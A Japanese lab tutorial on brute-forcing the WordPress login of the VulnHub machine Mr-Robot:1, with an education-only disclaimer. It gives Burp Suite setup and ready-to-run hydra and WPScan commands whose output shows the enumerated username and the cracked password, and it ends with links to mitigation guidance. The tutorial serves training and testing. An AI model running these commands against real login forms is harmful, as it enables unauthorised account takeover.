ログインフォームに対するブルートフォース(総当たり)攻撃によるパスワード解析


本稿は、教育のみを目的としたものです。ここに記載のツールと手法はシステムの所有者によって明示的に許可と同意が得られている場合のみその実施が可能です。
本稿は違法な活動を肯定するものではありません。

はじめに

本稿では、ログインの仕組みを持つWebアプリケーションに対する攻撃手法の一つについて検討します。
Webアプリケーションが提供するログインフォームに対して、ユーザー名とパスワードの有効な組み合わせを総当たりで試行する攻撃手法があります。この攻撃手法を「ブルートフォース(英:brute force)」攻撃と呼んでいます。

ステップ1:ログインフォームをみつける

Webアプリケーションの管理画面など意図的にログインフォームを秘匿にしている場合があります。このようなログインフォームをみつけるために、次のようなツールを利用することが可能です。

  • niktoツール:ウェブサイトの脆弱性を診断する
  • dirbustergobusterwfuzzコマンド:攻撃の足がかりになりそうなファイルやフォルダをリストベースのブルートフォースで探索する

本稿では標的としてVulnHubにて提供されている「Mr-Robot:1」を使用します。割り当てられたIPアドレスは172.16.208.142です。
「Mr-Robot:1」ではWebアプリケーションとしてWordPressが稼働しています。ログインフォーム(管理パネル)はwp-loginであることを特定済みです。

ステップ2:フォームパラメータの取得

次に、WordPress 管理パネル(wp-login)のフォームパラメータを取得します。
重要なことは、「不正なログイン」または「ログインの失敗」時ににどのような応答をするのか把握する必要があります。把握すべきパラメータは次のとおりです。

  • ウェブサイトのIPアドレス
  • URL
  • フォームの種類
  • ユーザー名を含むフィールド
  • パスワードを含むフィールド
  • 失敗メッセージ

BurpSuite

フォームパラメータを取得するには、Webアプリケーションとブラウザ間の通信内容を把握する必要があります。このような場合、ローカルプロキシツールを利用することが可能です。
ローカルプロキシツールでは、送信に対する応答も確認できます。
ローカルプロキシツールは、クライアントマシン上で動作します。これによりブラウザからのリクエストを一旦取得し、内容を変更した上でWebアプリケーションへリクエストするといった使い方も可能です。

ローカルプロキシツールにはいくつか種類があります。

  • OWASP ZAP
  • Fiddler
  • Burp Suite

本稿では、BurpSuite(以下 Burp)を使用します。

Burpの実行は、画面左上の[Kali Linux]メニューから[03 - Web Application Analysis] > [burpsuite]の順で選択します。

コマンドラインから起動することも可能です。

kali@kali:~$ burpsuite

[Temporary project] -> [Next]の順にクリックします。

[New project on disk][Open existing project]双方のボタンがグレー表示されています。ウインドウ上部の注釈に記載されているとおり、数日間にわたるWebアプリケーションテストを実施する際にプロジェクトを保存することは有効です。ただし、本機能はBurp Suite Professional(有償版)の機能です。

次に、使用する構成に関するウインドウが表示されます。[Use Burp defaults]を選択します。

次の画面が表示されます。

BurpSuiteの初期設定

今回は、BurpのProxy機能を利用します。この機能は、Webアプリケーションの通信でサーバにリクエストを送信する際に、BurpがHTTP通信をキャプチャし、通信内容の閲覧や通信内容の書き換えが可能となる機能です。

  1. Burpを起動し、[Proxy]タブ->[Options]タブに移動し、[Proxy Listeners]の設定内容を確認します(初期設定では、Interfaceとして、127.0.0.1:8080が設定されています)。
  2. 次に、レスポンス内容もキャプチャするための設定を行います。同じく[Proxy]タブ->[Options]タブの[Intercept Client Requests]の設定内容を確認します。[Intercept responses based on the following rules]チェックボックスをONに設定します。
  3. [Use this proxy server for all protocols]チェックボックスがオンになっていることを確認します。[OK]をクリックして、すべてのオプションダイアログを閉じます。

FirefoxをBurpで動作させる初期設定

  1. Firefoxのアドレスバーに`about:preferences#advanced`を入力します。
  2. [Network]タブに移動し、[Connection]の[Settings]ボタンをクリックします。
  3. [Manual proxy configuration]オプションを選択し、[HTTP Proxy]フィールドにBurp Proxyリスナーアドレスを入力します(初期設定は`127.0.0.1`に設定されています)。[Port]フィールドにBurp Proxyリスナーポートを入力します(初期設定は`8080`に設定されています)。

[Proxy] - [Intercept]タブへ移動し、[Intercept is on]を有効にします。これでブラウザからリモートサーバーへのリクエストをBurpが仲介することが可能になります。

補足:FoxyProxy Basic

検証では頻繁にプロキシの設定を変更する必要があります。そこで、プロキシの設定を切り替えることのできるアドオン「FoxyProxy Basic」の導入を検討することも有効です。

ステップ3:ログイン時のPOSTリクエストを記録

WordPress 管理パネル(wp-login)へログインする際のPOSTリクエストを記録します。
ここでは、ユーザー名wordpress、パスワードwordpressにてログインを試してみます。
ここで、Burpは[Intercept is on]に設定されています。これにより、ブラウザを介したログイン試行を送信すると、そのPOSTリクエストはBurpに記録されます。

POST /wp-login.php HTTP/1.1
Host: 172.16.208.142
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.208.142/wp-login
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Connection: close
Cookie: s_fid=58A095FDD61D53E7-0E53F236856B6353; s_nr=1601866483827; s_cc=true; s_sq=%5B%5BB%5D%5D; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=wordpress&pwd=wordpress&wp-submit=Log+In&redirect_to=http%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1

パラメータの記録を終えた後、Burpの[Forward]ボタンをクリックします。これにより、BurpからPOSTリクエストがブラウザに転送されます。
WordPress 管理パネル(wp-login)には、エラーメッセージ「ERROR: Invalid username. Lost your password?」が表示されています。

WordPress 管理パネル(wp-login)における「失敗メッセージ」はテキストベースです。ログインフォームすべてがテキストメッセージであるとは限りません。例えば、クッキーを使用している場合もあります。ここで重要なことはウェブアプリケーションがログインの失敗をどのように利用者へ伝えているのか特定することです。

ここまで、Burpにて取得したパラメータの値は次のとおりです。

取得すべき項目 取得した値
ウェブサイトのIPアドレス 172.16.208.142
URL /wp-login
フォームの種類 http-post-form
ユーザー名を含むフィールド log=
パスワードを含むフィールド pwd=
失敗メッセージ Invalid username

ステップ4:Hydraコマンドの構文を検討

THC-hydra(以下 hydra)は、リモートシステムでブルートフォース攻撃を実行するために使用されるパスワードクラッキングツールです。
HTTP、SSH、RDP、FTPなど、一般的なプロトコルに対応しています。また、モジュールエンジンを追加することで、新しいサービスに対応させることも可能です。
今回は、hydraコマンドのhttp-post-formモジュールを使用し、このWebアプリケーションに対しブルートフォース攻撃を実行します。
ここでは、先ほど整理したパラメータの値を参考にhydraコマンド実行時の構文について検討します。

hydra -l username -P password-list <URL_TO_SERVER> http-post-form "<PATH-TO_LOGIN>:POST_REQUEST_FOR_LOGIN:FAILED_RESPONSE_IDENTIFIER"

各オプションの狙いは、次の通りです。

  • -l: 引数としてユーザー名を渡します(単一アカウント(例えば「admin」)のみの解読を望む場合には、「-l」(小文字)を使用します)。「-L <USERNAME_LIST>」(大文字)にてユーザー名のリスト送信にも対応しています。
  • -p: 引数としてパスワードを渡します。`
  • URL_TO_SERVER: サーバーのURLを指定します。
  • http-post-form: フォームのタイプを指定します。
  • PATH-TO_LOGIN: ログインフォームが配置されているWebサーバーのルートからの相対パスを指定します。
  • POST_REQUEST_FOR_LOGIN: Burpにて記録したリクエストから、POSTリクエスト全体をコピーして、この部分に貼り付けます。ユーザー名を^USER^に、パスワードを^PASS^に置き換えます。hydra-l [-L]および-p [-P]パラメータから入力します。
  • FAILED_RESPONSE_IDENTIFIER: フォームが返答するログイン失敗メッセージに置き換えます。

状況に応じて、次のオプションスイッチの利用も検討すべきです。

  • -V: すべての試行に対して詳細の出力を行います。
  • -w10: 試行と試行の間に10秒の待機時間を入れます。

補足:ワードリストの作成

Webアプリケーションのパスワードなど不明な文字列の推測を効率良く行うために「ワードリスト」(パスワード辞書)が使用されます。ワードリストはジェネレーターによって生成する方法と、あらかじめ用意されているものを使用する方法があります。

ワードリストジェネレーター

  • CeWL - Custom Word List generator:指定されたWebページをクロールし、ワードリストを生成することが可能です。
  • crunch:標準の文字セットまたは指定した文字セットを指定し、考えられるすべての組み合わせと順列を生成することが可能です。
  • RSMangler:リスト内の各単語を取得し、それを他の単語と組み合わせて、可能なすべての順列を生成することが可能です。

既存のワードリスト

  • rockyou.txt:2009年にソーシャルネットワークアプリを提供するRockYou社のデータベースが侵害されました。この事件をベースに作られたrockyou.txtには、32,603,388アカウントで使用される14,341,564個の一意のパスワードが含まれています。

ステップ5:ブルートフォース攻撃の実行

有効なユーザーアカウントの特定

辞書ファイル(wordlist.txt)を使用し、有効なユーザーアカウントを特定します。このとき、組み合わせるパスワードはtestで固定されています。

kali@kali:~$ hydra -L wordlist.txt -p test 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-08 22:06:03
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:11452/p:1), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=Invalid username
[STATUS] 1971.00 tries/min, 1971 tries in 00:01h, 9481 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142   login: elliot   password: test
[80][http-post-form] host: 172.16.208.142   login: ELLIOT   password: test
[80][http-post-form] host: 172.16.208.142   login: Elliot   password: test
[STATUS] 2037.33 tries/min, 6112 tries in 00:03h, 5340 to do in 00:03h, 16 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-08 22:11:43

3件の応答を得ることができました。

  • login: elliot
  • login: ELLIOT
  • login: Elliot

有効なパスワードの特定

有効なユーザーアカウントとパスワードtestを組み合わせてログインの試行を行います。
このとき、エラーメッセージに変化がみられます。「ERROR: The password you entered for the username ELLIOT is incorrect.」が表示されています。

エラーメッセージに注目

有効なパスワードを特定するために、FAILED_RESPONSE_IDENTIFIERオプションの値をF=is incorrectに変更してブルートフォース攻撃を仕掛けます。

kali@kali:~$ hydra -l ELLIOT -P wordlist.txt 172.16.208.142 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect"
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-10 11:01:11
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 11452 login tries (l:1/p:11452), ~716 tries per task
[DATA] attacking http-post-form://172.16.208.142:80/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=https%3A%2F%2F172.16.208.142%2Fwp-admin%2F&testcookie=1:F=is incorrect
[STATUS] 1569.00 tries/min, 1569 tries in 00:01h, 9883 to do in 00:07h, 16 active
[STATUS] 1584.67 tries/min, 4754 tries in 00:03h, 6698 to do in 00:05h, 16 active
[80][http-post-form] host: 172.16.208.142   login: ELLIOT   password: ER28-0652
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-10-10 11:04:55

hydraコマンドにてブルートフォース攻撃を行った結果、標的のWebアプリケーション(WordPress)にて有効なユーザー名とパスワードの組は次のとおりでした。

ユーザー名 パスワード
elliot ER28-0652
ELLIOT ER28-0652
Elliot ER28-0652

WPScan

本稿の標的「Mr-Robot:1」では、WordPressが稼働していることが特定されています。このような場合、WordPress専用の脆弱性スキャナーであるWPScanツールを使用してブルートフォース攻撃を仕掛けることも可能です。

kali@kali:~$ wpscan -t 10000 -U Elliot -P wordlist.txt --url http://172.16.208.142

hydraコマンドの結果と同様に、パスワードER28-0652の特定に成功しました。

攻撃の緩和策

ブルートフォース攻撃に対する緩和策について、「Open Web Application Security Project(以下、OWASP)」が「Blocking Brute Force Attacks」文書を発行しています。
このほか、WordPress.orgによる「ブルートフォース攻撃」文書も参考になります。

参考情報

TryHackMe

TryHackMeにて提供されている「Hydra」ルームでは、SSHおよびWebフォーム(POSTメソッド)に対してHydraを使用したブルートフォース攻撃の方法について確認することができます。

Hack The Box

Hack The Boxには、hydraコマンドを使ったブルートフォース攻撃が有効なマシンがいくつか公開されています。
それらマシンを検索する際には、IppSec Video Searchを使うのが有効です。次の画面キャプチャは、検索キーワードに「hydra」を指定した検索結果を示しています。

解説記事

Walkthrough